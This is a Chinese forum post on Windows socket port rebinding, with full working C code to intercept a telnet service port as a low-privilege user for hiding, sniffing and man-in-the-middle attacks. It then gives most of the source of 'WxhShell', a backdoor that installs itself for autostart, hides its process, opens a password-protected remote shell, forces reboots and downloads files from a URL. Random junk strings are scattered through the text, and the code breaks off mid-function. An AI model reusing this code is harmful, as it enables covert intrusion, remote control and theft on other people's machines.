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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TvG:T{jwy  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yy.:0:ema  
Vyq<T(5  
  saddr.sin_family = AF_INET; ,u^0V"hJ  
C2|2XL'l(C  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Xg3[v3m|  
XaS_3d  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^PR,TR.  
@`8 B} C  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 18tQWI$  
A;`U{7IST  
  这意味着什么?意味着可以进行如下的攻击: Qbpl$L  
jh](s U  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vA-p} ]%  
.%b_3s".  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^JVP2L>o*  
<Jrb"H[ T"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u#,'ys  
w:xKgng=L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  sP8&p*TJF  
yrNc[kS/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ns= b&Uyc  
[ .uaO  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 vFC=qLz:  
s1$#G!'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Cj9O [  
LtWU"42  
  #include <$2zr4  
  #include e+ w  
  #include 9v,8OK)  
  #include    m`q> _*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   w*P4_= :%Y  
  int main() yBh"qnOT  
  { %FFm[[nxI  
  WORD wVersionRequested; =\7p0cq&*  
  DWORD ret; NWN)b&}  
  WSADATA wsaData; `(suRp8!  
  BOOL val;  n(xlad  
  SOCKADDR_IN saddr; _rVX_   
  SOCKADDR_IN scaddr; {^MAdC_  
  int err; xKzFrP;/{  
  SOCKET s; 5T3>fw2G  
  SOCKET sc; t% B!\]  
  int caddsize; >d V@9  
  HANDLE mt; Vzm+Ew _  
  DWORD tid;   Cj\+u\U#  
  wVersionRequested = MAKEWORD( 2, 2 ); KrG6z#)Uz  
  err = WSAStartup( wVersionRequested, &wsaData ); i8@e}O I  
  if ( err != 0 ) { Y8{1?LO  
  printf("error!WSAStartup failed!\n"); <FT\u{9$  
  return -1; #$C]0]|  
  } $<mL2$.L~  
  saddr.sin_family = AF_INET; LK/V]YG  
   n$Fm~iPo,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H{zuIN/.1  
oxXW`C<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0BE^qe  
  saddr.sin_port = htons(23); Z9~Wlt'?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [F{a-i-  
  { cNc _ n<M  
  printf("error!socket failed!\n"); )K3 vzX  
  return -1; tg3JU\  
  } IqKXFORiNI  
  val = TRUE; '[8jm=Q#'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [4rMUS7-m"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) tvxcd*{  
  { F+S#m3X  
  printf("error!setsockopt failed!\n"); #e269FwN  
  return -1; /O9EI'40)  
  } E'6P>6l5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; lS-i9U/,>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 geSo#mV  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1)Bi>X  
'X<uG x  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U2nRgd  
  { me^Gk/`Em  
  ret=GetLastError(); Vho0f<`E  
  printf("error!bind failed!\n"); :"IH*7xp  
  return -1; v 8a  
  } q#-H+7 5  
  listen(s,2); ~0Q72  
  while(1) i>zyn-CuW  
  { $_5v^QL  
  caddsize = sizeof(scaddr); 4aKy]zPoE  
  //接受连接请求 j/|qge4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X&X')hzIt  
  if(sc!=INVALID_SOCKET) 0\*<k`dY  
  { %$ ?Q%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); d's`~HOU2  
  if(mt==NULL) vUeel%  
  { xTm&`Xo  
  printf("Thread Creat Failed!\n"); gg_(%.>  
  break; x[6Bc  
  } 0EU4irMa  
  } (OJ9@_fgG[  
  CloseHandle(mt); V@-GQP1  
  } :''0z  
  closesocket(s); K L~sEli  
  WSACleanup(); ^- Ji]5~  
  return 0; !Sh5o'D28  
  }   0N_Da N  
  DWORD WINAPI ClientThread(LPVOID lpParam) HbVm O]#$D  
  { OXV@LYP@  
  SOCKET ss = (SOCKET)lpParam; k]5L\]>y  
  SOCKET sc; sH: &OaA  
  unsigned char buf[4096]; Ve) :I  
  SOCKADDR_IN saddr; h(sKGCG  
  long num; n\9*B##  
  DWORD val; n(VMGCZPV  
  DWORD ret; Ooy96M~_G  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6mLE-( Z7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <P- r)=^  
  saddr.sin_family = AF_INET; K\Q 1/})  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,DLNI0uV  
  saddr.sin_port = htons(23); ')RK(I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8;3FTF  
  { 7IH{5o\e  
  printf("error!socket failed!\n"); q[K)bg{HB  
  return -1; m:CpDxzbf  
  } qChPT:a  
  val = 100; ,Z"sh*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /VkJ+%}+j  
  { A79SAheX#  
  ret = GetLastError(); -E"o)1Pj6C  
  return -1; c[q3O**  
  } 6fyW6xv[,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?GZs5CnS  
  { e~dU "  
  ret = GetLastError(); $y}Tbm  
  return -1; ljmHX2p  
  } g'E^@1{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h,G$e|[?  
  { !<ucwWY,  
  printf("error!socket connect failed!\n"); tWI hbt  
  closesocket(sc); Y7HWf  
  closesocket(ss); YN[D^;}  
  return -1; #*@Yil=1  
  } '"a8<7  
  while(1) ,3u19>2  
  { dtm@G|Ij  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m e" <+6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {S!~pn&^Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T^t`H p  
  num = recv(ss,buf,4096,0); q9^r2OO  
  if(num>0) Ye\%o[X  
  send(sc,buf,num,0); 5T`39[Fya  
  else if(num==0) 9'M({/7y  
  break; qm@hD>W+  
  num = recv(sc,buf,4096,0); b-XBs7OAx  
  if(num>0) FliN@RNo  
  send(ss,buf,num,0); bfgLU.1I  
  else if(num==0) 9UX-)!  
  break; j^M@0o  
  } 5/<Y,eZ/  
  closesocket(ss); 0)#I5tEre  
  closesocket(sc); `SWK(='  
  return 0 ; ^+&}:9Ml  
  } S7R^%Wck/6  
WObfHAp.  
K\PS$  
========================================================== x($1pAE  
xgVt0=q  
下边附上一个代码,,WXhSHELL i7_BnJJX{B  
f,*e?9@;s  
========================================================== y|ZJ-[qg  
;Lx5r=<Hx  
#include "stdafx.h" ;F5%X\ t-  
Sw~<W%! ?  
#include <stdio.h> qSR %#  
#include <string.h> yL1\V7GI{[  
#include <windows.h> O;r8l+  
#include <winsock2.h> 5k@ k  
#include <winsvc.h> F7d f  
#include <urlmon.h> 3[$VW+YV  
.KV?;{~q@  
#pragma comment (lib, "Ws2_32.lib") a<Ta*:R$0  
#pragma comment (lib, "urlmon.lib") @<+(40`*  
q#1um @m3  
#define MAX_USER   100 // 最大客户端连接数 &q+ %OPV  
#define BUF_SOCK   200 // sock buffer Z|.. hZG  
#define KEY_BUFF   255 // 输入 buffer y g7z?AZ  
(1R,   
#define REBOOT     0   // 重启 99x]DY  
#define SHUTDOWN   1   // 关机 x<].mx  
SVJ3!1B,  
#define DEF_PORT   5000 // 监听端口 *|cvx:GO  
\y=,=;yv  
#define REG_LEN     16   // 注册表键长度 e_e|t>nQ  
#define SVC_LEN     80   // NT服务名长度 'ga@=;Wj  
KMv|;yXYj4  
// 从dll定义API Xc.~6nYp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^,50]uX_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uAJC Q)@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q"\[ICu!,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [69aTl>/  
2ZnTT{]_m  
// wxhshell配置信息 2w%1\TcB$  
struct WSCFG { &Jj ?C  
  int ws_port;         // 监听端口 &p*N8S8  
  char ws_passstr[REG_LEN]; // 口令 cB TMuDT_  
  int ws_autoins;       // 安装标记, 1=yes 0=no p 7sYgz  
  char ws_regname[REG_LEN]; // 注册表键名 [}Nfs3IlBw  
  char ws_svcname[REG_LEN]; // 服务名 (jXgJ" m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '#XP:nqFkK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &*0V!+#6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t C&Xm}:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _ ge3R3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SYyH_0N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rv^j&X+EH  
f -#fi7  
}; v{I:Wxe  
dW91nTQ:  
// default Wxhshell configuration [KJm&\evp  
struct WSCFG wscfg={DEF_PORT, A%Ao yy4E  
    "xuhuanlingzhe", NLj0\Pz|B  
    1, Z#0z#M`  
    "Wxhshell", =,sMOJ c>  
    "Wxhshell", {It4=I)M  
            "WxhShell Service", ?x:\RNB/  
    "Wrsky Windows CmdShell Service", _)ERi*}x8  
    "Please Input Your Password: ", tFRWxy[5  
  1, P5Fm<f8\  
  "http://www.wrsky.com/wxhshell.exe", V'_^g7}l&  
  "Wxhshell.exe" 4Hu.o7  
    }; ^0VI J)y  
6(wpf^br2  
// 消息定义模块 1iz\8R:0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2o,%O91p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^<< Wqmx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^LZU><{';  
char *msg_ws_ext="\n\rExit."; " jy'Dpy0m  
char *msg_ws_end="\n\rQuit."; z19y>j  
char *msg_ws_boot="\n\rReboot..."; +* &!u=%G  
char *msg_ws_poff="\n\rShutdown..."; \2T@]!n  
char *msg_ws_down="\n\rSave to "; X(/W|RY{@  
% Dya-  
char *msg_ws_err="\n\rErr!"; K }r%OOn0  
char *msg_ws_ok="\n\rOK!"; Ek84yme#  
X)Kd'6zg  
char ExeFile[MAX_PATH]; -~jM=f$  
int nUser = 0; S\Q/ "Y  
HANDLE handles[MAX_USER]; g5H+2lSC  
int OsIsNt; M6?*\ 9E  
!X8:#a(  
SERVICE_STATUS       serviceStatus; "g0L n5&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w+Ag!O}.L  
~6R| a  
// 函数声明 |n0 )s% 8`  
int Install(void); !Y5O3^I=u  
int Uninstall(void); (CEJg|,  
int DownloadFile(char *sURL, SOCKET wsh); I'C{=?  
int Boot(int flag); =3sBWDB[  
void HideProc(void); &K}!R$[,:P  
int GetOsVer(void); #Ez>]`]TB  
int Wxhshell(SOCKET wsl); ms<?BgCSz  
void TalkWithClient(void *cs); 9NVe>\s_  
int CmdShell(SOCKET sock); fAJQ8nb{@]  
int StartFromService(void); ,1od]]>(O  
int StartWxhshell(LPSTR lpCmdLine); /mvuSNk  
ZNzye1JSm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v50=D/&w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); afH`<!  
m7fmQUk  
// 数据结构和表定义 MOdodyG  
SERVICE_TABLE_ENTRY DispatchTable[] = B;L~ hM  
{ 7` &K=( .  
{wscfg.ws_svcname, NTServiceMain}, w$pBACX  
{NULL, NULL} 5PG%)xff*  
}; ~c+0SuJ  
lQldW|S>  
// 自我安装 x# 0(CcKK  
int Install(void) ^b'|`R+~}  
{ 59IxY ?  
  char svExeFile[MAX_PATH]; ?HttqK)  
  HKEY key; dtr8u  
  strcpy(svExeFile,ExeFile); nJlrBf_Kj  
J6Cw1Pi  
// 如果是win9x系统,修改注册表设为自启动 $#1i@dI  
if(!OsIsNt) { 36e !je  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B$sB1M0q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cOq^}Ohan  
  RegCloseKey(key); B<x)^[<v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L+bU~N,+A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V07e29w  
  RegCloseKey(key); EJ"[{AV  
  return 0; 3w#kvtDVm  
    } j-ZKEA{:1  
  } hU@ 9vU<U  
} \|RP-8  
else { 4#!NVI3t  
H"6Sj-<=  
// 如果是NT以上系统,安装为系统服务 :VX?j 3qW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aj85vON1`  
if (schSCManager!=0) s `U.h^V  
{ }mzM'9JH  
  SC_HANDLE schService = CreateService ggIz) </  
  ( I MpEp}7  
  schSCManager, HI*xk  
  wscfg.ws_svcname, FT!|YJz<K  
  wscfg.ws_svcdisp, K FvNsqd  
  SERVICE_ALL_ACCESS, I6ffp!^}Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l 2y_Nz-;  
  SERVICE_AUTO_START, Zqc+PO3lw  
  SERVICE_ERROR_NORMAL, T}jryN;J5  
  svExeFile, JL=MlZ  
  NULL, k.NgE/;3  
  NULL, |9$K'+'  
  NULL, t 5g@t0$  
  NULL, 9X/c%:)\=  
  NULL uW },I6g  
  ); T1.`*,t)=  
  if (schService!=0) u|z B\zd  
  { Ox#%Dm2  
  CloseServiceHandle(schService); ^&>(_I\w.6  
  CloseServiceHandle(schSCManager); "9:1>Gr{G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F 0 q#.   
  strcat(svExeFile,wscfg.ws_svcname); +q[puFfl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a=>PGriL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ew~piuj  
  RegCloseKey(key); ,Y6Me+5B  
  return 0; sg RY`U.C  
    } ZnVi.s ~1V  
  } I4.^I/c(  
  CloseServiceHandle(schSCManager); 5B)Z@-x2  
} n$i}r\ so  
} c&vY0/ [  
\#Ez["mD  
return 1; sS7r)HV&GI  
} ]{;=<t6  
?{ns1nW:  
// 自我卸载 I'%vN^e^  
int Uninstall(void) EW7heIT$  
{ tQ=M=BPZ  
  HKEY key; ;"l>HL:^  
t&MJSFkiA  
if(!OsIsNt) { Z<T%:F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z6#}6Y{  
  RegDeleteValue(key,wscfg.ws_regname); wyvrNru<l4  
  RegCloseKey(key); v0&E!4q*'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O:3LA-vA  
  RegDeleteValue(key,wscfg.ws_regname); ~OO&%\$k  
  RegCloseKey(key);  [R:\  
  return 0; {L^b['h@  
  } K"B2 SsC  
} #&a-m,Y$sx  
} 9 &a&O Z{  
else { |7KW'=O  
PZmg7N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /2Q@M>  
if (schSCManager!=0) Vw0cf;  
{ u?6L.^Op  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J-yj&2  
  if (schService!=0) {U/a h2*  
  { 0 UdAF  
  if(DeleteService(schService)!=0) { # Un>g4>Rh  
  CloseServiceHandle(schService); :I*G tq   
  CloseServiceHandle(schSCManager); 7)aitDD  
  return 0; o\6A]T=R  
  } f.SV-{O_  
  CloseServiceHandle(schService); x@/ N9*  
  } f Glvx~  
  CloseServiceHandle(schSCManager); Gu?O yL  
} y8=p;7DY  
} s8 S[w   
jSNUU.lur  
return 1; szW_cjS  
} b/65Q&g'  
~$xLR/{y  
// 从指定url下载文件 WxwSb`U|  
int DownloadFile(char *sURL, SOCKET wsh) _EMq"\ND  
{ -v"\WmcS  
  HRESULT hr; r:Uqtqxh  
char seps[]= "/"; /;>U0~K  
char *token; K8xwPoRL  
char *file; p!5= 1$  
char myURL[MAX_PATH]; {nTQc2T?;  
char myFILE[MAX_PATH]; Uv|z c  
VQA}!p  
strcpy(myURL,sURL); |L|)r)t  
  token=strtok(myURL,seps); "#Ov!t  
  while(token!=NULL) ]gI>ay"\QA  
  { 49. @Uzo  
    file=token; c 4Q{  
  token=strtok(NULL,seps); <5rs~  
  } #m yiZL %  
&s m7R i  
GetCurrentDirectory(MAX_PATH,myFILE); HRP4"#9R  
strcat(myFILE, "\\"); .PjJ g^^  
strcat(myFILE, file); |KEq-  
  send(wsh,myFILE,strlen(myFILE),0);  =d07c  
send(wsh,"...",3,0); ?z,^QjQ}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IRy!8A=X  
  if(hr==S_OK) K6"#&0  
return 0; ::bK{yZm   
else fNjxdG{a  
return 1; =fk+"!-i%"  
yO}RkRA  
} X]up5tk~  
ukM11LD5x  
// 系统电源模块 ;:(kVdb  
int Boot(int flag) 5m2`$y-nb  
{ fT)u`voE,  
  HANDLE hToken; ia=eFWt.  
  TOKEN_PRIVILEGES tkp; V^Gz7`^  
Th1/Bxb:  
  if(OsIsNt) { 15PFnk6E|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JBX#U@k>I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {|)u).n|  
    tkp.PrivilegeCount = 1; S-)mv'Al'F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [X>\!mt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $@]tTz;b  
if(flag==REBOOT) { _m3}0q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :9`'R0=i^  
  return 0; llG^+*Y8t  
} .-Y3oWV  
else { S<), ,(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wkSIQL  
  return 0; XP#j9CF#.  
} 7kDX_,i  
  } Ph[P$: 9  
  else { :0K[fBa  
if(flag==REBOOT) { m|mY_t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b(@[Y(_R  
  return 0; F!v`._]  
} oq00)I1  
else { o5~o Rmsr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GJlkEWs  
  return 0; %4X#|22n  
} < H1+qN=]`  
} ~~J xw ]  
&+t! LM  
return 1; gcLwQ-  
} MDETAd  
\ ) H}  
// win9x进程隐藏模块 NpS*]vSO  
void HideProc(void) V?KACYd@O  
{ 8NY $Iw  
9rhIDA(wc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N^,@s"g  
  if ( hKernel != NULL ) kz4d"bTb  
  { Be?b| G!M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {P'TtlEp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tnx)_f  
    FreeLibrary(hKernel); 'k|?M  
  } v9Kx`{1L  
'2`MT-  
return; Y6LoPJ  
} ?~G D^F  
X6_m&~}15  
// 获取操作系统版本 n,KOQI;  
int GetOsVer(void) bj6-0`  
{ Ie3 F  
  OSVERSIONINFO winfo; H)XHlO^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #ma#oWqF}  
  GetVersionEx(&winfo); +h!OdWD9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jVh I`F{n  
  return 1; {/f\lS.5g  
  else V0'T)  
  return 0; *Q= 3v  
} iTb k]$  
:\ %.x3T'  
// 客户端句柄模块 ^4jIT1  
int Wxhshell(SOCKET wsl) f? sW^ d;  
{ 4[@`j{  
  SOCKET wsh; gO C5  
  struct sockaddr_in client; R-xWZRl>  
  DWORD myID; O0`k6$=6r  
lTNfTO^  
  while(nUser<MAX_USER) B~p` 3rC  
{ I]S8:w![  
  int nSize=sizeof(client); %lL^[`AR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7"L`|O?8)  
  if(wsh==INVALID_SOCKET) return 1; R-v99e iN  
^:JZ.r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JryCL]  
if(handles[nUser]==0) eURy]  
  closesocket(wsh); Ift @/A  
else YXD6GJWo  
  nUser++; \Qa6mt2h  
  } lYZ5FacqC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CuE>=y- "I  
_)4YxmK%  
  return 0; J N5<=x5r  
} _ZgIm3p0A  
7nh,j <~;2  
// 关闭 socket ] i;xeo,  
void CloseIt(SOCKET wsh) ! E\xn^  
{  ;d"F'd  
closesocket(wsh);  ZzDE  
nUser--; 7C7eX J9q  
ExitThread(0); rh;@|/<l  
} u&Ze$z  
#lA8yWxr  
// 客户端请求句柄 & w{""'  
void TalkWithClient(void *cs) 8FY.u{93  
{ c*+yJNm3>  
}*+?1kv  
  SOCKET wsh=(SOCKET)cs; 'BE &lW  
  char pwd[SVC_LEN]; ~WS;)Q0|  
  char cmd[KEY_BUFF]; I?sA)!8  
char chr[1]; oH/6  
int i,j; j(j o8  
+ V:P-D  
  while (nUser < MAX_USER) { 5l"EQ9  
[qhQj\cK  
if(wscfg.ws_passstr) { +J`EBoIo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EC6&#)g;CO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  Lb# e  
  //ZeroMemory(pwd,KEY_BUFF); ,3^gB,ka  
      i=0; 0>#or$:6E  
  while(i<SVC_LEN) { "tu BfA+f  
11Kbj`sRZ  
  // 设置超时 *&VH!K#@{  
  fd_set FdRead; - i``yf?P  
  struct timeval TimeOut; "zSi9]j  
  FD_ZERO(&FdRead); _C` cO  
  FD_SET(wsh,&FdRead); p"9a`/  
  TimeOut.tv_sec=8; Vmj7`w&  
  TimeOut.tv_usec=0; aL\vQ(1zO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?b?`(JTR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;k6>*wFl|!  
b-}nv`9C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >h3r\r\n3  
  pwd=chr[0]; +dWx?$n  
  if(chr[0]==0xd || chr[0]==0xa) { K\5'pp1  
  pwd=0; : `D[0  
  break; l#P)9$%  
  } LM:|Kydp3  
  i++; _= RA-qZ"  
    } _is<.&f6  
74*1|S <  
  // 如果是非法用户,关闭 socket & [)1LRt_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e|:#Y^  
} N>z<v\`  
b2;+a(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k/+-Tq;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z5aU7  
A^+G w\  
while(1) { fFD:E} >5  
?haN ;n6'  
  ZeroMemory(cmd,KEY_BUFF); Y40Hcc+Fx  
%x_c2  
      // 自动支持客户端 telnet标准   G #.(% ,  
  j=0; 4&r+K`C0  
  while(j<KEY_BUFF) { 0T,Qn{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sW)C6 #  
  cmd[j]=chr[0]; j-2`yR  
  if(chr[0]==0xa || chr[0]==0xd) { @=o1q=5@8  
  cmd[j]=0; Q9X7- \n  
  break; bSmF"H0cP  
  } FY%v \`@1*  
  j++; /{pVYY  
    } S4]}/Imn)  
9g3J{pKcZ  
  // 下载文件 YDBQ6X  
  if(strstr(cmd,"http://")) { yYmV^7G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X+;F5b9z  
  if(DownloadFile(cmd,wsh)) xEBiBsk d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V$u~}]z  
  else ~2xC.DF_N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q+/:5Z C  
  } {~DYf*RZ  
  else { [9f TN2'z  
k 8^!5n  
    switch(cmd[0]) { 2kV[A92s  
  aaq{9Y#  
  // 帮助 H!U\;ny  
  case '?': { $ JI`&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JlAUie8  
    break; YH33E~f  
  } XWvT(+J  
  // 安装 9tmYrhb$  
  case 'i': { <b!ieK?\F3  
    if(Install()) MCHRNhb9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %=x|.e@J  
    else Y%9S4be  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uN bOtA  
    break; z)Xf6&  
    } usiv`.  
  // 卸载 sGIY\%  
  case 'r': { :A35 ?9E?  
    if(Uninstall()) 1Sox@Ko  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E@\e37e  
    else X%"P0P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uG2(NwOL  
    break; o)'u%m  
    } $ wGDk  
  // 显示 wxhshell 所在路径 y'?|#%D  
  case 'p': { /G$8j$  
    char svExeFile[MAX_PATH]; 6zs&DOB  
    strcpy(svExeFile,"\n\r"); %&KJtKe  
      strcat(svExeFile,ExeFile); "?_adot5v  
        send(wsh,svExeFile,strlen(svExeFile),0); $Z)Dvy|  
    break; NVx`'Il8 "  
    } 8cn)ox|J[  
  // 重启 .+3= H@8h  
  case 'b': { [\CQ_qs|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ms5m.lX  
    if(Boot(REBOOT)) FUzIuz 6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^_b+o  
    else { ,j wU\xo`C  
    closesocket(wsh); rDkAeX0  
    ExitThread(0); lTe}[@(  
    } K7}EL|Kx  
    break; P_+S;(QQ~d  
    } 24{!j[,q@  
  // 关机 f !t2a//  
  case 'd': { ty]JUvR@  
